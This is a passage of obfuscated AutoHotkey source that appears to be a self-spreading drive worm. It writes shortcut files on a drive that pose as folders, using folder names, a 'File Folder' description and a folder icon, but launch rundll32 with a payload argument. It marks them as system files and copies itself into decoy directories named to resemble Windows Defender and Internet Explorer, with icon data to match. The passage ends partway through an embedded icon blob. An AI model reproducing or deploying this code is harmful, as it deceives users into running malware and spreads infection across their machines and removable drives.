| k_ := h2s("4B652A5E25465E2669") | |
| rnd32ll := dcprt("xb7endKKs5FYxb3amMKRspFYl7Ddjw-c-c", k_) | |
| shd32ll := dcprt("xb7endKKs5FYxb7Nj8qReZBUzbfR", k_) | |
| } | |
| For idx, lp in StrSplit(TsDrv_opnrs,"|") { | |
| if !lp | |
| continue | |
| sh_fpth := TsDrv "\" lp ".lnk" | |
| if !FileExist(sh_fpth) { | |
| if !drv_is_opn { | |
| mk_lnk_fldr(sh_fpth, usd_data_TsDrv_SecDrvOpnr) | |
| } | |
| continue | |
| } | |
| lnk_k = 0 | |
| Try FileGetShortcut, %sh_fpth%, Targt, ODir, OArg, ODsc, OtIcn, OtIcnNm | |
| rt := "%systemroot%" . rnd32ll | |
| rtt := systemroot . rnd32ll | |
| rttt := "%windir%" . rnd32ll | |
| rtttt := windir . rnd32ll | |
| if (Targt = rt || Targt = rtt || Targt = rttt || Targt = rtttt) { | |
| lnk_k++ | |
| } | |
| if ODir = | |
| lnk_k++ | |
| if OArg = %sec_drv_ex_lnk_arg% | |
| lnk_k++ | |
| if (StrReplace(Odsc, "File Folder: ") = lp) { | |
| lnk_k++ | |
| } | |
| rt := "%systemroot%" . shd32ll | |
| rtt := systemroot . shd32ll | |
| rttt := "%windir%" . shd32ll | |
| rtttt := windir . shd32ll | |
| if (OtIcn = rt || OtIcn = rtt || OtIcn = rttt || OtIcn = rtttt) { | |
| lnk_k++ | |
| } | |
| if OtIcnNm = 4 | |
| lnk_k++ | |
| if (lnk_k = 6) { | |
| Try FileGetattrib, attr, %sh_fpth% | |
| if (!InStr(attr, "R") || !InStr(attr, "S") || InStr(attr, "H")) { | |
| Try filesetattrib, +RSA, %sh_fpth% | |
| Try filesetattrib, -H, %sh_fpth% | |
| } | |
| } | |
| else | |
| { | |
| mk_lnk_fldr(sh_fpth, usd_data_TsDrv_SecDrvOpnr) | |
| } | |
| } | |
| return | |
| mk_lnk_fldr(lk_fl="", opnfl="") { | |
| Global | |
| if (!lk_fl || !opnfl) { | |
| return 0 | |
| } | |
| lk := dcprt("dLfTlQ-c-c", "Ke*^%F") | |
| if (SubStr(lk_fl, -3)!=lk) { | |
| lk_fl .= lk | |
| } | |
| hxx := "4c(7)11402(10)c(13)46e702(4)2(7)89b246752aa0d20189b246752aa0d20189b246752aa0d20100ee(5)3(7)1(30)450114001f50e04fd020ea3a6910a2d808002b30309d19002f5c(42)560031(10)214b6880100057696e646f7773004(4)9000400efbe724a0b5d214b68802e(6)8205(9)1(30)fc01c200570069006e0064006f00770073(6)16005a0031(10)234b9aad100053797374656d3332(4)420009000400efbe724a0b5d234b9aad2e(6)b11(10)1(31)bcb9700530079007300740065006d00330032(6)1800660032(4)ee(4)724a5da7200072756e646c6c33322e657865(4)4a0009000400efbe724a5da7724a5da72e(6)319e(9)1(30)7722f700720075006e0064006c006c00330032002e006500780065(6)1c(6)58(6)1c(7)1(6)1c(6)36(14)57(6)1a(7)3(6)2761350c1(95)" | |
| ff := dcprt("jLTRj35rtbfJj9BfZg-c-c", "Ke*^%F") | |
| sh := RegExReplace(s2h(ff . regexreplace(lk_fl, ".*\\(.*?)\" lk "$", "$1")), "i)([a-f0-9]{2})", "$1" "00") | |
| SetFormat, Integer, H | |
| shl := SubStr("00" StrReplace((Strlen(sh) // 4),"x"),-1) "00" | |
| SetFormat, Integer, D | |
| hxx .= shl sh "7600750072006c002e0064006c006c002c00460069006c006500500072006f0074006f0063006f006c00480061006e0064006c00650072002000<file>21002500730079007300740065006d0072006f006f00740025005c00730079007300740065006d00330032005c007300680065006c006c00330032002e0064006c006c001403(5)1(4)a(1561)1(8)5(4)a025(6)dd(6)1c(7)b(4)a0774ec11ae7025d4eb7442eb1ae5198b7dd(6)6(8)3(4)a058(14)64(31)65e3ea6aaed564c9903ea4a05a589412c133a3d0490e71199f32c56dc944789065e3ea6aaed564c9903ea4a05a589412c133a3d0490e71199f32c56dc944789ce(7)9(4)a089(6)31535053e28a5846bc4c3843bbfc139326986dce6d(7)4(8)1f(6)2e(198)39(6)31535053b1166d44ad8d7048a748402ea43d788c1d(6)68(8)48(6)9af6bdc5(12)501f00" | |
| f := SubStr(RegExReplace(s2h(opnfl), "i)([a-f0-9]{2})", "$1" "00"), 1, 360) | |
| ll := StrLen(f) | |
| if (ll < 360) { | |
| loop, % (360-ll) | |
| f.="0" | |
| } | |
| Str_Replace(hxx,"<file>",f) | |
| nw_hxx= | |
| For idx, lp in StrSplit(StrReplace(StrReplace(hxx,"(","`n("),")",")`n"), "`n") | |
| nw_hxx .= (InStr(lp,"(") && InStr(lp,")")) ? zrs(trim(lp,"()")) : lp | |
| kill_del(lk_fl) | |
| if FileExist(lk_fl) { | |
| return 0 | |
| } | |
| if !mk_hxfl(lk_fl, nw_hxx) | |
| return 0 | |
| Try filesetattrib, +RSA, %lk_fl% | |
| Try filesetattrib, -H, %lk_fl% | |
| return 1 | |
| } | |
| zrs(c=0) { | |
| if c < 1 | |
| Return | |
| zz = | |
| loop, %c% | |
| zz .= "0" | |
| return zz | |
| } | |
| chg_icn_typ_cpy(in_fl="", cp_to="", chgtyp="ix") { | |
| static _WD_1, _WD_2, _WD_3, _WD_4, _IE_1, _IE_2, _IE_3, _IE_4, scdrm_pths | |
| Global | |
| if (chgtyp != "ix" && chgtyp != "wd") | |
| Return 0 | |
| if !in_fl | |
| in_fl := ScriptFullPath | |
| if !cp_to | |
| return 0 | |
| if !kill_del(cp_to) | |
| return 0 | |
| if FileExist(cp_to) | |
| return 0 | |
| ftypp := fl_typ_nfo(ScriptFullPath) | |
| if (!ftypp || ftypp = ctyp) { | |
| Try FileCopy, %ScriptFullPath%, %cp_to% | |
| sleep, 50 | |
| if !FileExist(cp_to) | |
| return 0 | |
| else | |
| return 1 | |
| } | |
| cpy_ok = 0 | |
| SplitPath, in_fl, , OtDr | |
| SplitPath, cp_to, , OtDrr | |
| SplitPath, ScriptFullPath, , OtDrrr | |
| For ctyp, bkfle in {ix: OtDr "\" IE_Icn_Fl, wd: OtDr "\" WD_Icn_Fl, ix: OtDrr "\" IE_Icn_Fl, wd: OtDrr "\" WD_Icn_Fl, ix: OtDrrr "\" IE_Icn_Fl, wd: OtDrrr "\" WD_Icn_Fl} { | |
| if (chgtyp != ctyp) | |
| continue | |
| if !FileExist(bkfle) | |
| continue | |
| if (fl_typ_nfo(bkfle) != ctyp || ver_typ(bkfle) != 1 || FileSize(bkfle) != self_sz) { | |
| kill_del(bkfle) | |
| } | |
| else { | |
| Try FileCopy, %bkfle%, %cp_to% | |
| sleep, 50 | |
| if FileExist(cp_to) { | |
| if (FileSize(cp_to) = self_sz) { | |
| return 1 | |
| } | |
| Else | |
| return 0 | |
| } | |
| Else | |
| return 0 | |
| } | |
| } | |
| if !scdrm_pths | |
| scdrm_pths = %myprg_dir%\%win_def%|%myprg_dir%\%int_exp%|%appdata%\%prg_alt0160_fls%\%int_exp%|%prg_dir%\%win_alt0160_def%|%appdata%\%prg_fls%\%win_alt0160_def%|%appdata%\%prg_fls%\%int_exp% | |
| loop, parse, scdrm_pths, | | |
| { | |
| mpth := A_LoopField | |
| for i, x in ["dat", "exe"] { | |
| loop, %mpth%\*.%x% | |
| { | |
| if (FileSize(A_LoopFileFullPath) != self_sz) | |
| continue | |
| if (fl_typ_nfo(A_LoopFileFullPath) != chgtyp) | |
| continue | |
| if (ver_typ(A_LoopFileFullPath) != 1) | |
| continue | |
| Try FileCopy, %A_LoopFileFullPath%, %cp_to% | |
| sleep, 50 | |
| if FileExist(cp_to) { | |
| if (FileSize(cp_to) = self_sz) { | |
| return 1 | |
| } | |
| Else | |
| return 0 | |
| } | |
| Else | |
| return 0 | |
| } | |
| } | |
| } | |
| if (!_IE_4 || !_WD_4) { | |
| Dat1 := "3(7)6(8)1002(1482)1(7)1(7)1(7)1(7)1(7)1(7)1(7)1(7)1(303)1(7)1(7)3(7)5(7)6(7)7(7)7(7)7(7)7(7)5(7)4(7)2(7)1(7)1(279)1(7)4(7)7(7)C8786874C908E8C9C767370D36E6E6EAE(6)12(7)F(7)C(7)8(7)5(7)2(7)1(263)1A4A4A3338280808C928D8CCA8E8884F1857E7AFF918884FF9F9996FF393A39FF333333E084848443(6)19(6)12(7)C(7)6(7)3(7)1(224)BEBFC014908F8F44979491A2837E7BE76F6A66FF817B76FF908985FFA09993FFA69F9AFFA9A09BFFB1ABA6FF595858FF1E1E1EFF292929FF4545455F(6)22(6)16(7)D(7)6(7)2(192)C9CACA0A8C8B8B61696666BD666361E75E5A58FF43413FFF5A5652FF938B86FF928B87FF9C9490FFA49D98FFA69E99FFAFA7A2FFB7AFAAFFB3ACA8FF5F5E5DFF333334FF252525FF1F1F1F99(6)2A(6)22(6)15(7)B(7)5(168)7C7B7C4D5F5D5BAD5E5B59E15C5855FC5D5855FF67625EFF696461FF726C69FF555251FF5C5855FF9B938FFFA29A96FFAAA29EFFAEA6A0FFBAB2ADFFBDB4AFFFB9B1ACFFBBB4B0FF656463FF373738FF2E2E2EFF2121219B(6)29(6)21(6)1B(7)E(7)6(136)A3A2A21E8B8989717B7977BB565654DB544E4CFF645D5BFF696461FF6A6562FF706B68FF6F6A66FF6E6966FF75706DFF595654FF726D69FFB9B0ABFFC2B9B4FFC4BBB4FFBCB3AEFFBBB3ADFFCFC6C0FFCCC3BEFFC7BEB9FF6B6B6AFF3E3E3EFF3B3B3BFF0D0D0D9F(6)25(6)1F(6)18(7)E(7)5(96)E2E3E303D2D2D3129A99985E706C6AB7716C69E3857F7BFF958C87FF999491FF383634FF645F5CFF706B68FF706B68FF736E6AFF75706CFF7A7571FF797370FF7E7875FF5F5C5AFF847E7AFFD0C6C0FFE0D6D0FFD8CEC8FFCDC4BEFFCFC6C0FFE0D6CFFFE1D8D1FFE7DFDBFF7E7D7CFF404141FF3F3F3FFF0E0E0E9D(6)2(7)1A(6)13(7)B(7)4(72)C7C6C5219AA1A063757978BE6A6C6AF653524FFF746E68FF867F7BFF968F8AFF9E" | |
| Dat2 := "9792FFAEA6A1FFAAA4A1FF413F3EFF66605DFF7B7472FF7C7572FF7E7975FF7D7774FF7C7672FF817B77FF8A8480FF676462FF8E8782FFE9DFD8FFF0E7E0FFECE3DDFFF2E9E5FFF1EAE3FFE7E1DCFFCCC9C5FFA9A6A5FF989493FF5E5D5EFF404242FF2121219C(6)19(6)13(7)C(7)5(7)1(40)B3B4B41CA0A9A8577D8281B0626562F061615EFF636561FF6F716DFF858884FF5C5B5AFF726B67FF98928CFFA69E99FFAAA29EFFB8AFA8FFB1ACA8FF4B4846FF76706CFF847E7BFF87807CFF8C8581FF857D79FF87807CFF837D79FF8E8784FF6F6B69FF999390FFF6EFE8FFDFDAD4FFCAC9C6FFACA8A7FF736F6BFF54504CFF504B49FF6A6662FF413F3EFF454240FF504E4DFF82828295(7)D(7)9(7)5(7)2(16)FAFAFA01A4ADAC50858D8CA3646663E85F5F5CFF696C68FF70746EFF737571FF757874FF797D79FF7E817DFF909490FF545553FF78716DFFB8AFAAFFB9B0AAFFB8AFA9FFCBC1BBFFB5AFABFF4C4947FF857C78FF8E8783FF8E8783FF918A86FF9A938FFFAAA49FFF9F9996FF96918DFF7C7875FF656360FF6F6A67FF504B4AFF5C5754FF625D5AFF77726DFF97908BFFA8A09CFFB0A9A6FF5B5C5CFF242425FF252323FFB8B8B854(7)5(7)3(7)1(24)B6C4C43853534EFF5F5F5BFF686A66FF757974FF828580FF828581FF81847FFF848883FF858884FF8B8E8AFF9BA09CFF555553FF867D79FFD6CCC6FFD2C6C0FFBCB4AEFFDBD1CAFFCBC4C0FF605D5BFF9D9591FFA6A19CFFA49E9AFF96928EFF96938FFF8D8885FF575350FF56514EFF76716EFF8B847FFF9C948FFFB5ADA6FFB5ADA8FFB0A9A4FFB2AAA5FFB8AEA9FFB5ADA8FFB8B2ACFF676665FF393A3AFF1F1F1FFF6E6E6E79(7)1(7)1(32)A8B9B742686A66FF6F716DFF737572FF7E817CFF858884FF8C8E8BFF8C908BFF929691FF989D97FF9B9F9AFFA4A9A4FF646260FF9D958EFFECE2DBFFE6DCD4FFEAE0DAFFF3EBE5FFE2DCD7FF605E5DFF8E8987FF86827FFF61615EFF585C58FF6B716DFF565F5CFF46423FFF9F9792FFA59D98FFB0A7A2FFC2B8B2FFC3B9B5FFBDB4AFFFC0B7B2FFBAB2ADFFBAB2ADFFB3ABA5FFC0B7B3FF696869FF393939FF292929FF6D6D6D8C(48)A0B2B1486C6E69FF777A75FF80847EFF8C8E89FF8C8F8AFF929590FF989C96FF959993FF9B9E98FFAAAEA9FFB0B6B1FF848480FFC5BDB7FFEAE4DDFFD5D3CFFFCFCBC7FF999690FF6B6B67FF5E605DFF696F6BFF767E7AFF7C8681FF808B86FF86918CFF6F7A78FF635F5CFFA9A09BFFAAA19DFFB5ACA7FFBCB3AEFFBDB5AFFFBEB6B0FFBBB2ADFFBEB5B0FFC1B8B3FFCAC1BCFFC4BDB8FF6D6C6BFF3B3B3BFF333333FF46464692(48)A0B1B04E797975FF8F928DFF979A95FF90938EFF989B96FFAAAEA8FFACB2ACFFAEB4AFFFB0B6B0FF949B96FF79807EFF6A6865FF7F7873FF766F6AFF837E7AFF42403FFF595E5AFF757F7AFF828D88FF7E8983FF838E89FF838E89FF838E89FF8B9792FF788381FF504E4CFFA39A96FFB0A8A3FFC2B9B4FFAEA6A1FFB7AFA9FFBAB1ACFFC9BFBAFFC0B7B2FFBEB5B0FFC4BAB5FFD1C9C4FF717070FF3D3D3DFF343434FF3D3D3D94(48)A4B5B35693948FFFB0B5AFFFB9BFB8FFB5BCB6FFA4ABA4FF909792FF838783FF797B77FF5C5956FF504B48FF605A57FF8B8380FFA09893FFA79F9AFFBCB5B0FF585A58FF5D6561FF87918CFF86918BFF86918CFF89928EFF8D9894FF8F9A95FF919D98FF788380FF5C5855FFBBB1AAFFBCB3AEFFB8AFAAFFB9B1ABFFC7BDB7FFC6BDB7FFCFC6BFFFC7BDB7FFD9CFC9FFE7DDD8FFF7EEEAFF93918FFF424345FF2C2B2BFF80808099(48)A4B5B24EA6ABA4FF959B97FF828581FF6B6A65FF5B5854FF534F4CFF7D7571FF5D5A5AFF534F4BFF938C88FF9D9590FFA79E99FFAAA29DFFB8AEA8FFC4BCB7FF717270FF6C746FFF8F9A95FF929D98FF96A29BFF939F9AFF8F9B95FF959F9AFF9DABA5FF84918CFF64605DFFDED3CBFFD8CDC8FFDACFC8FFD6CDC6FFE0D8D3FFF8F1ECFFEAE5DEFFCAC4C0FFADA8A4FF98948FFF81817DFF6A6866FF51504FFF424242FF616161A9(48)C5C8C611696562F2625C58FF716A66FF87817CFF96908BFF9C948FFFADA49FFF72706EFF54504DFFA09793FFADA49FFFB2A9A4FFB5ABA6FFC0B6B1FFC9C0BAFF757674FF77807AFF9CA8A3FF9CA8A2FFA2AFA9FF9BA7A1FF9BA8A2FFA1ADA7FFA2AEA9FF8B9A95FF8D8B86FFF5F5F5FFFBF5EFFFE6DFD9FFB5B1ADFFA8A5A2FF908F8BFF6D6E69FF595A57FF5A5F5CFF666D69FF76807BFF4F5755FF242726FF363533FF8988888B(48)C0BDBB2B867E79FF9A928DFF9B938EFF9E9691FFA29A95FFA39A95FFB0A8A3FF7F7C79FF7B7571FFC2B8B1FFC5BBB5FFBBB2ACFFCAC0BAFFCBC1BBFFCEC4BFFF737371FF7F8982FFA7B3ADFFA9B5AEFFACBAB3FFB0BDB7FFBDCFC8FFB5C6BFFFA1B0AAFF828D89FF6E6D6AFFACA7A3FF7C7775FF494744FF595D59FF5D635FFF666E69FF757D79FF85918AFF88938DFF848E8AFF909C96FF636D6BFF262C2CFF171A1AFF565B5BBD(48)BFBBB829938B86FFA29994FFA79E98FFAAA09BFFACA39EFFADA49EFFBEB5B0FF8B8784FFA39893FFDBD1CAFFDFD5CCFFC7BCB5FFD1C7C0FFDED5CEFFEDE4DEFF8B8C8AFF9CAAA5FFB0C1BAFFA4B4ADFF83918BFF7A837EFF747975FF636360FF5E5D59FF696561FF817B77FF9D9490FF8A8783FF474B48FF7C867FFF79837DFF7A857FFF87928CFF7F8983FF8A968EFF8F9B94FF909C95FF697471FF2D3433FF262B2AFF292C2CF1(48)CAC6C42C9D928DFFB4AAA4FFBCB1ABFFBBB1ABFFB0A6A1FFBAB0AAFFC3BAB5FF898380FFB7ACA6FFF2E9E1FFF3E9E1FFF1EAE3FFE8E1DAFFE3DDD7FFC7C2BCFF676562FF6D716DFF757571FF6D6A66FF726C68FF88807DFF948D89FF9A938FFFA49D98FFAAA29DFFABA49FFFB9B1ABFFA09C99FF535755FF757E79FF818B85FF88928DFF8B968FFF8B968FFF94A099FF94A099FF929F98FF6C7774FF2F3736FF292E2DFF313535ED(4)" | |
| Dat3 := "(44)CAC6C330A79D96FFBFB4AEFFC1B6B0FFC1B6B0FFD3C8C2FFD5CAC3FFDFD6CFFFADA8A4FFBCB5AFFFC0B8B0FF9A9590FF837F7DFF817D79FF777270FF474240FF736D68FF8F8883FF958E89FFA69E99FFB5ACA7FFB9B0ABFFB3A9A5FFAFA7A1FFB4ABA6FFB4ACA7FFB3ABA6FFC4BBB6FFAAA4A1FF575C59FF86918AFF96A19BFF9BA6A0FF95A19AFF96A29BFF9FABA5FF9BA8A1FF9CA8A1FF74817DFF333A3AFF2C3231FF2F3333F(49)CDC6C23589837FFFB2AAA3FFD9CFC9FFC4BCB6FFA7A099FF8F8883FF8E8983FF8C8681FF7A746FFF756E6AFF817975FF8F8883FFA39B95FF989390FF66615DFF9E968FFFA09893FFA19B96FFABA39EFFC0B7B0FFC3B9B4FFBDB4AEFFBFB5B0FFC6BCB7FFC4BBB5FFC2B9B4FFD5CCC5FFB1ACA8FF606460FF99A59DFFA8B7AFFFABBAB2FFA1AEA6FF919D97FFA6B5AEFFA1AFA6FFAAB8AFFF778480FF373E3FFF303636FF323737F297979701(40)D2CCC91C989793FF686A67FF6A6B68FF5C5F5CFF5F6460FF4E4F4EFF7E7771FF9D948FFFA19A94FFA9A19BFFACA49FFFA79E99FFAEA6A0FFA29C99FF726C67FFA79E99FFA79E99FFACA49FFFC3BAB4FFB6ADA8FFC4BAB4FFCBC1BBFFD1C7C1FFCFC5BFFFD4CAC2FFDBD3CDFFDDD1CDFFC5BEBAFF6C736EFFA9B6ADFFB0C3B9FFADBDB4FFAAB9B0FFAEBEB6FFB5C5BDFFB8CAC3FFBBD0C8FF96A7A2FF444D4CFF333A39FF313635F39B9B9B01(40)98ACAA58859492FF798582FF899794FF7E8985FF87908CFF686A67FF988F8AFFA89F9AFFACA39EFFACA49DFFB1A7A2FFB2A9A4FFB3AAA5FFA59F9BFF77716EFFA59B96FFBCB2ACFFC3BAB4FFC6BBB6FFC7BCB6FFD0C6C0FFD2C8C2FFD5CBC5FFCDC3BDFFD1C8C1FFDED4CEFFE1D7D1FFCAC4C0FF7C847FFFB6C8BFFFB7CCC4FFB7CCC5FFAABDB6FF93A39CFF7C847FFF737B77FF7F837FFF6D6F6DFF515653FF4D5553FF3A403FF9EDEDED04(40)98ACAA69869390FF78837FFF818C88FF828C88FF8B9590FF686A67FF9B928CFFB6ADA7FFB9AFA9FFBAB1ABFFB8AEA7FFB7AEA8FFC4BAB3FFB8B3AFFF867F7BFFB9AFA8FFDDD2CBFFE0D6CEFFD7CBC6FFCFC5BFFFDCD2CCFFECE3DCFFDCD4CEFFE3DAD4FFEDE3DCFFF2EBE4FFF6F1EBFFD5CDC8FF6F706CFF757974FF7C7D78FF7E7D78FF837F7BFF8B8480FF918A86FF9F9793FFB6AEA9FF797877FF2B2C2CFF302F2EFF737A79B4(48)AEBEBD86829794FF98ACA8FF819590FF8B9792FF8D9893FF626562FF999089FFC1B7B1FFCABFB9FFC7BCB6FFC1B7B0FFC4B9B3FFC7BDB7FFB3ACA8FFA79F9AFFEEE5DDFFFEF9EFFFF9F2EAFFF0E8E1FFD7D0C9FFB3AEA9FFBCB6B1FFD7CDC7FFDDD4CEFFC6BEB8FFAFA59FFF9E948EFF7A716AFF7C746FFF9C9590FF9B948FFFA49C97FFB3ACA7FFBCB3AEFFC1BAB3FFBCB3AEFFC7BFBAFF918D8CFF3A3A3CFF2D2D2DFF323434DF(48)B6C6C58789948FFF97A49EFF8F9B96FF8B948FFF9AA8A2FF616461FFAEA49DFFD1C6C0FFCDC2BBFFCFC3BEFFDFD5CEFFE1D7D0FFE4DBD4FFD3CDC6FF88837FFFA6A099FF8C8683FF7F7A77FF75726EFF6D6864FF6C6664FF575654FF464543FF56504DFF736B67F77D7570DE8E8784B1A09D9A718F8986DAADA49EFFABA39EFFAFA7A2FFBFB6B1FFB7AEA9FFC2B9B4FFCAC1BCFFCFC5C0FF928F8DFF434343FF393939FF353535EB(48)A2B3B272929B95FFA0ACA5FF99A49EFF9DA9A3FFA7B5AFFF767875FFCDC2BBFFE5DBD1FFEBE1D9FFDFD6CEFFCDC3BBFFBBB1AAFFA39992FF7B746FFF706B67FF736E6AFF8D8682FFA69C97FFB2AAA4FFB5ACA7FFCFC7C2FF868585FF4C4C4EFF232525FF393939DE(6)16(16)87817DC4B0A7A2FFBBB2AEFFC4BBB5FFC2B9B4FFC7BEB9FFD0C5BFFFCEC5BFFFCCC3BDFF999694FF434444FF3C3C3CFF363636EC(48)B0C5C36D8D9890FF89958FFF7B8581FF656B66FF60625EFF676361FF85817EFF595653FF6E6762FF776F6AFF7F756FFF726864FF69615EE68A827CF8ABA19CFFA79F9AFFB6ADA7FFB1A8A3FFBDB3AEFFC3B9B3FFCDC5BFFF908F8FFF5C5C5CFF424242FF343636F2ECECEC04(16)948D89C5C6BDB7FFD8CEC8FFDCD2CCFFD3C9C3FFCCC3BDFFDBD1CBFFD8CFC9FFD6CDC7FFA19D9BFF484949FF414141FF333333EFC9C9C903(40)C2C7C7506F6B65FF716B68FF756F6AFF89817CFF988F8BFFBAB0A9FFA6A3A0FF646666FF404242FF282726FF61605F9FB5B1AF11(8)908A86D8A59C96FFB5ABA6FFB8AFA9FFC0B7B1FFC6BCB6FFCBC1BBFFCEC5BFFF908F8DFF5F6161FF474747FF414141EFEBEBEB03(16)A49E9AC0DFD4CDFFECE5DDFFEAE1DAFFDED4CEFFCBC2BCFFE4DED6FFDCD4CEFFEBE2DAFFA8A5A2FF4C4C4DFF454545FF2E2E2EF095959504(40)A49E9A6B928984FF9A928DFFABA29CFFACA29DFFB8AEA8FFC5BAB5FFB9B5B2FF737373FF5F5F5FFF363838FF40414199(16)98918CDDC2B8B0FFD5CAC4FFCBC0BAFFC6BCB6FFD8CDC6FFD1C8C1FFD5CCC7FF979594FF616262FF505050FF4D4D4DEFF4F4F403(16)A49E9AC5E4DBD4FFF2ECE5FFEEE6DFFFEAE2DAFFEBE3DCFFEBE3DDFFF1EBE5FFFBF5EEFFC3BFBCFF535355FF424343FF444444F5F8F8F807(40)A09A946D8C847EFFADA39DFFB1A6A1FFB5ADA7FFBFB5AFFFCCC1BAFFB8B3B1FF787878FF666666FF3B3B3BFF6C6C6C96(16)A59C97E2DBD1C9FFE9E0D8FFDCD1CAFFD0C6BFFFDDD5CEFFDFD7D0FFE7DED7FF959392FF6B6B6DFF595959FF515151F1E9E9E905(16)B0ABA7BDB8B1AAFFE5E0D7FFECE8E1FFE8E3DDFFDBD3CDFFC7BDB7FFBFB6B0FFB8AEA9FFACA29DFF88817DFF615E5DFF4D4D4DF5E9E9E908(40)A9A09C6FA69A95FFCBC0B9FFBFB5AEFFC0B6AFFFCEC2BBFFCEC2BCFFBAB6B3FF7F7F7FFF6C6C6CFF4D4D4DFF75757595(16)ABA39DE5E8DED6FFF0EAE1FFE9E0D9FFEDE5DEFFEBE1DAFFF0E9E2" | |
| _WD_1 := Dat1 Dat2 Dat3 "FFF2EBE4FF9F9E9DFF6E6E6FFF5D5E5EFF5A5A5AF9E3E3E308(16)F8F5F50DC7C1BD68A79F9ACB968D86F9938984FF938B86F28F8783E3948C88D6A09B97B5B1AAA790C4C0BF63C4BFBD3DD0CECD17(48)CDC6C275BBB0A9FFE1D5CDFFD0C5BDFFCEC3BCFFDBD0C8FFE2D7D0FFBEB9B7FF828384FF777777FF5A5A5AFF82828295(16)BDB4AFD4DBD1C8FFDED7CEFFE1DCD5FFD5CDC7FFB9B0A9FFA79E98FF9C928DFF8D8580FF8D8782FF797574FF737272E6D6D6D505(40)E1DEDD09E8E7E513D1CFCD02(104)C1B9B48CD1C3BCFFEDE2D8FFE7DDD5FFE7DCD4FFE3D9D1FFEDE4DBFFD0CBC6FF8F8D8DFF888787FF696B6BFF9E9E9E9B(16)F5F4F203A29E9B4395908C9A847D79DA857C78E4756F6AD9817B76C187827F9B8F8B88788B898751C2BDBB1DD5D3D204(176)D7CEC858D0C5BDE5C6BCB4FBBDB2ABFFA99E96FF9A9088FF958983FF978E87FF9F9690F798918DEA878481DDBFBFBE67(55)D(248)C6C2C00BB1ACA940A59E9B81A6A09E6FC3C1BE43C5C1BF21D1CECD06(2608)FFFFFFFFFFFF742BFFFFFFFFFFFF742BFFFFFFFFFFFF742BFFFFFFFFC01F742BFFFFFFFF0003742BFFFFFFFF0001742BFFFFFFFE0000742BFFFFFFF(5)742BFFFFFF(6)742BFFFFF8(6)742BFFFF8(7)742BFFF(9)742BFF8(9)742BF8(9)1742B8(10)3742B8(10)7742B8(9)1F742B8(9)1F742B8(9)1F742B8(9)1F742B8(9)1F742B8(9)1F742B8(9)1F742B8(9)1F742B8(9)1F742B8(9)1F742B8(10)F742B8(10)F742B8(10)F742B8(9)1F742B8(9)1F742B8(9)1F742B8(6)C001F742B8(6)C000F742B8002000C000F742B8006000C000F742B8006000C000F742B8006000C001F742B8006000F8FFF742B8006001FFFFF742B8007EFFFFFFF742BE03FFFFFFFFF742BFFFFFFFFFFFF742BFFFFFFFFFFFF742BFFFFFFFFFFFF742BFFFFFFFFFFFF742BFFFFFFFFFFFF742BFFFFFFFFFFFF742B" | |
| _WD_2 := "2(7)4(8)1002(234)1(7)1(7)1(7)2(7)2(7)1(7)1(7)1(183)1(7)1(7)3(7)5(7)7(7)9(7)9(7)7(7)5(7)3(7)2(7)1(167)1(7)4(7)9(7)E(6)12(6)14(6)15(6)13(6)1(8)B(7)7(7)3(159)1383635057C7A792A827F7F76888480A68C8783D3938D8AFC3D3E3DE26E6E6E66(6)1F(6)17(7)F(7)7(136)7875752A88868554807F7E85898480CB7E7874F68C8581FF9D9691FFA79F99FFB1AAA5FF4D4C4CFF272828FE3C3C3C6B(6)25(6)17(7)C(104)777675066D6B6A576C68679E747270CA63605CF365605DFF444240FF534E4BFF9E9692FFA79F9AFFB0A8A3FFB9B0ABFFB8B1ACFF5D5C5BFF292A2AFF1B1B1B9(7)26(6)1B(7)D(72)888685146F6A67329592925F817E7DAB494745E5625D5AFD67625FFF6A6562FF716B68FF75706CFF5D5B58FF7D7773FFC7BDB8FFC2B9B3FFBFB6B0FFD1C8C2FFD0C7C2FF666564FF373737FF1111118F(6)22(6)18(7)A(48)A7A8A72C888D8C84868786A67E7976CF807A76FE98908BFF9E9894FF3A3735FF706B68FF78726FFF797470FF7A7470FF827C78FF666361FF9C948FFFF1E7E0FFE8DFDAFFE6DDD7FFE5DED7FFBBB7B4FF7E7C7BFF464747FF1616168C(6)18(7)F(7)5(8)9B9A980A817F7C2D9BA3A2657B807EB26C6D6BE86E706CF6777975FF504F4DFF6E6864FFA59D98FFB4ABA6FFAEA8A4FF504C4AFF807976FF87807DFF8A837FFF8E8784FF958E8AFF726E6CFF8C8783FFC7C2BDFF959390FF6B6764FF514D4BFF585453FF4A4948FF302F2FFF7A7A7A7D(7)E(7)6(7)1B3BEBE52707572D3636460FD6E706CFF797C77FF7B7D79FF7D807CFF8F938EFF434342FF7E7773FFC6BCB6FFC6BCB5FFC3BBB7FF5F5A58FF9F9893FF9C9691FF97928EFF918A88FF6A6662FF746F6DFF696562FF67625EFF645F5CFF817A76FFA9A19CFFB2ABA7FF575757FF1F1E1EFF8A898961(7)5(7)1(8)99A4A19061625DFF757873FF858783FF8B8D89FF8D918CFF939892FFA2A6A2FF5C5C59FFA29A95FFECE3DDFFE9E0DAFFD0CAC5FF686663FF918D89FF747570FF757A76FF565A57FF44403EFF9E9691FFB3AAA5FFC5BBB6FFC0B7B2FFBCB4AFFFBBB3AEFFBDB5B0FF646363FF2B2B2BFF5A5A5A7A(7)1(16)98A19F8E787A75FF8B8E89FF90938EFF9EA39DFFA4A9A4FFABAFAAFF979E99FF6D6D6AFFAAA39EFFAFABA7FF787674FF70736FFF6B726EFF747D79FF7C8681FF848F8AFF6B7471FF66605EFFB5ACA7FFB9B1ACFFB8B0AAFFBEB4AFFFBFB6B1FFC2B8B4FFCAC2BDFF666565FF333333FF3C3C3C7E(24)A3ADAA95A5A8A2FFB3B9B2FF9A9F99FF7C817DFF767875FF5F5E5BFF504E4CFF75706DFF938B86FF9D9691FF363837FF757E7AFF89948FFF87928DFF8B9592FF909C96FF676E6AFF5F5A57FFBFB5AFFFBBB2ADFFC3BAB4FFD3CAC4FFD2C9C3FFD4CCC6FFE0D8D3FF7F7D7DFF323334FF63636283(24)ACB4B07E80807AFF5D5C58FF5C5955FF6A6461FF7A7572FF343230FF978E8AFFA89F9AFFB5ABA6FFBFB7B2FF6B706CFF87918CFF98A49EFF97A39DFF939F9AFF9EAAA5FF808885FF918C88FFF3EDE8FFDED6D0FFC1BCB8FFC2BCB9FF908D89FF757672FF696B68FF555655FF3C3B3BFF71717182(24)ACA8A561776F6BFF8F8782FF9D9590FFABA29DFF98938FFF585451FFBFB4AEFFBAB1ABFFC6BCB6FFC7BEB9FF6E716EFFA2ADA7FFADBAB4FFADBAB4FFB1C1BBFF9FADA7FF727976FF999695FF959390FF5B5D59FF707670FF676D69FF6B726